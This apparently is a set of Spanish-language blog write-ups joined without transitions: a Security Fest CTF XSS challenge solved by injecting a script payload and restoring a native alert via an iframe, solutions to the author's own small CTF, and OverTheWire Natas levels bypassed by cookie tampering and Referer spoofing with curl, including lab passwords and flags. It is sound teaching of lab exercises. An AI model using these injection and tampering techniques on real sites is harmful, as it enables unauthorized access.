Este año 2018, uno de mis principales propósitos fue tratar de participar en la mayor cantidad de CTFs posibles, son como pequeños acertijos que mantienen mi mente ágil en cuanto a la seguridad informática y siempre aprendo algo nuevo cada vez que los juego.
Existen muchos recursos en Internet pero uno de los mejores, y que he estado usando los últimos meses, es CTFtime. CTFtime es un portal que recopila información acerca de varios eventos Capture The Flag que ocurren alrededor del mundo, tanto eventos presenciales como online (puedes participar remotamente), ademas de eso es una gran fuente de aprendizaje ya que siempre puedes revisar las soluciones de los retos anteriores. Si desean ver los próximos eventos tienen una lista que pueden revisar en el siguiente link
Regresando a la idea principal de este articulo, el 31 de mayo participe en el Security Fest #CTF, no resolví tantos retos como me hubiera gustado pero si aprendi un par de cosas nuevas que les voy a compartir a continuación.
El CTF tenia tematica de The Matrix, kudos por eso!
Security Fest CTF Excess – Web Challenge
Excess fue uno de los primeros retos de la categoría web, en las instrucciones se nos daba un link a una pagina web y al entrar veíamos la siguiente pantalla.
Las instrucciones son bastante claras, tenemos que encontrar un XSS en el sitio y hacer que muestre un alert, después mandar la URL con nuestro payload y reclamar la bandera.
Vemos que la pagina tiene un parámetro llamado xss, inspeccionamos el código fuente del sitio web y vemos lo siguiente.
Observamos que el valor del parámetro xss es utilizado directamente por unas variables en Javascript y eso es bueno para nosotros, pues podemos inyectar código directamente sin preocuparnos por crear nuestras propias script tags.
Viendo el código anterior es claro que el sitio web es vulnerable y podemos mandar un payload como el siguiente para mostrar nuestro alert en Javascript.
En el parámetro xss enviamos:
/?xss=<strong>hello';alert(1);//</strong>
Y el código se va a inyectar de la siguiente forma:
...
..
<div class="container">
<script>var x ='hello';alert(1);//; var y = `hello';alert(1);//; var z = "hello';alert(1);//;</script>
<div class="row main">
<div class="form-header header">
...
..
Nuestro payload se inyecta 3 veces, pero no importa puesto que después del primer // todo el resto del código quedara comentado. En el sitio web vemos la siguiente alerta.
¿Qué?, ¿Cómo?, ¿Cuándo? xd nosotros inyectamos un alert no un prompt, inspeccionando el código fuente del sitio mas a detalle y observamos que hay un script que se esta llamando antes de que inyectemos nuestro código.
Al ver su contenido nos damos cuenta de que es el responsable de nuestros dolores de cabeza.
/*
If there is no alert,
how can there be XSS?
/
/
) (
/( (\___/) )\
( #) \ ('')| ( #
||___c\ > '__||
||**** ),_/ **'|
.__ |'* ___| |___*'|
\_\ |' ( ~ ,)'|
(( |' /(. ' .)\ |
\\_|_/ <_ _____> \______________
/ '-, \ / ,-' ______ \
b'ger / (// \\) __/ / \
'./_____/
*/
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));
Este pequeño código esta sobrescribiendo la función nativa alert del objeto Window en nuestro contexto actual.
Es claro lo que debemos hacer, de alguna forma tenemos que devolver a Window.alert la función nativa original, existen muchas formas de resolver este reto pero mi razonamiento fue el siguiente.
Después de investigar un buen rato encontré varios artículos que describen esta técnica (override de funciones nativas) para mitigar ataques de XSS, sin embargo esto no soluciona el problema debido a la misma naturaleza del lenguaje Javascript, a continuación muestro como creando un elemento iframe, que tiene una instancia nueva y sin modificar del objeto Window, es posible ejecutar las funciones nativas originales.
var iframe = document.createElement('iframe'); // creamos un nuevo iframe
iframe.src = '';
iframe.style.display = 'none';
document.body.appendChild(iframe); // Es necesario agregarlo al documento para que su atributo contentWindow este definido
window.alert = iframe.contentWindow.alert; // Sobrescribimos la función alert de nuestro objeto Window actual con la función nativa original
alert(1); // Ejecutamos el alert original
Armamos nuestro payload y lo inyectamos en el parámetro xss.
Hola, como muchos saben, este blog esta registrado como comunidad tecnológica en Campus Party, cada año gente del estado de Michoacán nos organizamos para asistir al evento, jugar, divertirnos, aprender y sobre todo pasar un buen rato 🙂
Ser comunidad de CPMX tiene algunas ventajas por ejemplo obtener códigos de descuento y entradas gratuitas para rifar entre los miembros de la comunidad pero este año realice una dinámica diferente, hace mas o menos 1 semana anuncie en redes sociales (Facebook y Twitter) un pequeño reto CTF en donde poder ganar una entrada no fuera cuestión de suerte. Muchas gracias a todos los que participaron y felicidades a los ganadores.
A continuación dejo la solución de cada uno de los retos por si hay gente que se quedo con dudas 🙂
0x01 – 8.8.8.8 or 1.1.1.1?
A Dan Kaminsky le gusta ( ͡° ͜ ʖ ͡°) www.alevsk.com
Este reto es bastante sencillo si sabes un poco de cultura general de como funciona Internet. 8.8.8.8, 1.1.1.1 y Dan Kaminsky son claras referencias al sistema DNS.
En este tipo de retos es muy común que la información se encuentre escondida en el record TXT, pero también existen muchos otros tipos de DNS records. Vamos a utilizar la herramienta nslookup y con los siguientes comandos podemos listar los records TXT de cualquier dominio.
$ nslookup
> set q=TXT
> alevsk.com
La bandera de este reto es: ctf_flag{3550dd06-aec9-4841-96cb-dbfb093c6991}
0x02 – Cipher
Cipher es probablemente el reto mas complicado de este CTF, las instrucciones del reto nos muestran el siguiente texto cifrado.
Podemos intentar resolver esto con alguna herramienta automática como Rot13 Online o Caesar Cipher pero no hay resultados. No queda otra cosa mas que empezar a hacer un analisis del texto y aplicar distintos ataques criptograficos 🙂
Utilizamos uno de mis lenguajes de programación favoritos, python, para comenzar a recolectar estadísticas interesantes del texto.
Comenzamos separando el texto cifrado por espacios y contando el numero de veces que se repiten las palabras
La palabra que se repite mas veces es l2e (6 veces), pero también vemos l2e0 (2 veces) que es una variación de la palabra anterior, algo similar ocurre con h8g y h8g0g y algunas otras más.
La complejidad de este reto disminuye notoriamente ya que sabemos lo que estamos buscando en el texto, la bandera 🙂 y sabemos cual es el formato que deben seguir las mismas.
ctf_flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
En una cadena de texto lo suficientemente larga debemos encontrar un símbolo que se repita siguiendo el mismo patrón que el de la bandera si no estuviera encriptada, es decir:
La palabra mas larga que arrojo nuestro análisis es whcjc4om{dzz9bk}v_pbdi_i}v3_op33_c3p39d.owvwpu, probamos “alineando” el formato de la bandera en esa palabra para ver si cumple con el patrón:
Tenemos una coincidencia 🙂 acomodamos el resto de la bandera y comenzamos a crear un diccionario con los caracteres a sustituir en el texto y podremos empezar a romper el cifrado (encontrar el alfabeto que fue usado para la sustitución)
Todavía tenemos otras 2 palabras, l2e y h8g, que se repiten bastante en el texto, si encontramos cual es su equivalente nuestro texto sera todavía mas legible. Investigando un poco encontré un articulo bastante interesante The Most Common Three Letter Words (Las palabras mas comunes de 3 letras)
Hacia al final del texto podemos leer algo que dice:
t8g flag s, ctf_flag{dzz9bk}v-pbdi-i}v3-ap33-f3p39d.acvcp}
si t8g puede ser the (que se encuentra en la lista de palabras populares) y s, es is la frase final seria
the flag is ctf_flag{dzz9bk}v-pbdi-i}v3-ap33-f3p39d.acvcp}
Parece que nos vamos acercando, probamos agregando estas letras a nuestro diccionario.
this is l2e0 last charcex afte0 thisn the0e is r2 te0rirg .acyx l2e taye the .lee 5ill – the st20l erzsn l2e !aye e5 ir l2e0 .ez arz .elie1e !hate1e0 l2e !art t2 .elie1ex l2e taye the 0ez 5ill – l2e stal ir !2rze0larz arz i sh2! l2e h2! zee5 the 0a..it-h2le g2esx the flag is ctf_flag{dzz9bk}v-pbdi-i}v3-ap33-f3p39d.acvcp}
Mas palabras salen a la luz:
afte0 … 0 es r
l2e0 se vuelve l2er, por lo tanto en la frase this is l2er last charcex, l2er es remplazado por your y el texto tiene aun mas sentido 🙂 !!!
charce … r es n (chance)
this is your last chancex after thisn there is no turning
Tenemos suficiente texto legible para realizar una búsqueda en google y darnos cuenta que el texto es una frase famosa de la película The Matrix
Completamos el resto del diccionario con las letras que nos hacen falta.
Nota: en este punto de la solución me di cuenta que cometí un error al momento de diseñar el reto y no se puede avanzar mas, gracias a @unmanarc por reportar el problema
Por lo tanto la bandera de este reto es ctf_flag{ddd9bk}v-pbdi-i}v3-ap33-f3p39dbacvcp}
0x03 – A new security policy standard
Si encuentras una vulnerabilidad en www.alevsk.com deberías reportarla utilizando los canales adecuados 🙂
Tanto el nombre del reto como la descripción nos da una pista acerca de que debemos investigar sobre nuevos estándares en políticas de seguridad, algunas personas se confundieron en este reto pues creían que tenían que encontrar vulnerabilidades en esta pagina, pero la solución es mas sencilla que eso.
security.txt es un estándar propuesto (similar a robots.txt) para que los sitios web puedan anunciar sus políticas de seguridad y consiste en publicar un archivo de texto en el directorio .well-known donde comuniquemos información importante como por ejemplo la direccion de contacto en la que los hackers pueden reportar las vulnerabilidades encontradas de nuestro sitio web, en este caso https://www.alevsk.com/.well-known/security.txt
# If you would like to report a security issue
# you may report it to me on www.alevsk.com
# ctf_flag{1999251d-df25-4d4a-846b-d4267f471b23}
Contact: [email protected]
Encryption: https://pgp.mit.edu/pks/lookup?op=get&search=0xFF4F600D674B6DED
La bandera de este reto es: ctf_flag{1999251d-df25-4d4a-846b-d4267f471b23}
0x04 – Foogle
Neo: Why do my eyes hurt? Morpheus: You’ve never used them before.
Este reto involucra esteganografía y es muy fácil de resolver, descargamos la imagen que nos indican las instrucciones y comenzamos a realizar el análisis, lo mas sencillo y lo primero que intentamos es ver si la imagen contiene en sus bytes alguna cadena de caracteres que tenga sentido.
Podemos utilizar la herramienta hexdump para hacer esto.
Al final del archivo hay una cadena de caracteres muy peculiar, parece que es un mensaje codificado en base64, tomamos el string y lo decodificamos con alguna herramienta como https://www.base64decode.org/
La bandera de este reto es ctf_flag{b309e05c-f224-4437-acd9-adae996142ed}
0x05 – Information leak
Información critica ha sido leakeada en los archivos de este repositorio x.x
Como la descripción nos indica, tenemos que revisar los archivos del repositorio donde esta hospedado el CTF, y no solo eso, tambien tenemos que revisar el historial de commits, vemos que en uno de los commits un archivo llamado 0x05_secret.txt fue publicado en el repositorio.
La bandera de este reto es ctf_flag{163f0835-8fc0-4fd0-b96b-dcd724cbe200}
0x06 – We can fix it!
Otro participante trato de robar la bandera de este reto pero sin querer la daño, ¿Puedes repararla? Descargar imagen
Este reto nos presentaba un codigo QR “dañado” (los bordes de la imagen han sido recortados), por lo que si tratamos de leerlo nos dará un error
Pero nada que un poco de photoshop no pueda arreglar 🙂
La bandera de este reto es ctf_flag{d55bd4f6-bff1-45b4-836e-7df1839e7d70}
Espero se hayan divertido mucho y aprendido algo nuevo al participar en este reto.
Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.
Acceso deshabilitado. No estas autenticado
Generalmente cuando te autenticas en un sitio web el servidor crea una sesión en memoria/base de datos/archivos/etc… y genera una cookie de sesión que es retornada al usuario, esta cookie puede ser incluida en las siguientes peticiones y de esta forma el servidor nos puede identificar mas rápido (HTTP stateless protocol).
Procedemos a revisar las cookies de la pagina web, si utilizas chrome lo puedes hacer desde la google developer toolbar en la pestaña de aplicación
Inmediatamente vemos que hay una cookie llamada loggedin con un valor de cero, lo cambiamos a uno (1) y refrescamos la pagina.
La bandera para acceder a natas6 es aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Al igual que en el reto anterior, esta pagina tiene una vulnerabilidad de broken access control puesto que es posible engañar al servidor con tan solo modificar el valor de la cookie loggedin
Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.
Como lo hemos hecho anteriormente, revisamos el codigo fuente pero no encontramos nada interesante, tampoco hay archivo robots.txt
Nos concentramos en el mensaje que aparece en la pantalla: Access disallowed. You are visiting from “” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/”
Acceso deshabilitado. Nos estas visitando de “” mientras que los usuarios autorizados deberian de venir desde “http://natas5.natas.labs.overthewire.org/”
El mensaje anterior sugiere algún tipo de validación del lado del servidor en donde se revisa el origen de la petición, damos click en el link de refresh, inspeccionamos las cabeceras del request utilizando google developer toolbars y observamos que el mensaje de la pagina cambio.
Observamos una cabecera interesante llamada referer cuyo valor actual es http://natas4.natas.labs.overthewire.org/, veamos si es posible definir nuestro propio valor utilizando cURL.
Abrimos una consola y escribimos
$ curl --help
Usage: curl [options...] <url>
Options: (H) means HTTP/HTTPS only, (F) means FTP only
....
-r, --range RANGE Retrieve only the bytes within RANGE
--raw Do HTTP "raw"; no transfer decoding (H)
-e, --referer Referer URL (H)
-J, --remote-header-name Use the header-provided filename (H)
....
Genial, con el parámetro -e / –referer podemos definir nuestra propia URL.
○ → curl --user natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ --referer http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>
La bandera para acceder a natas5 es iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
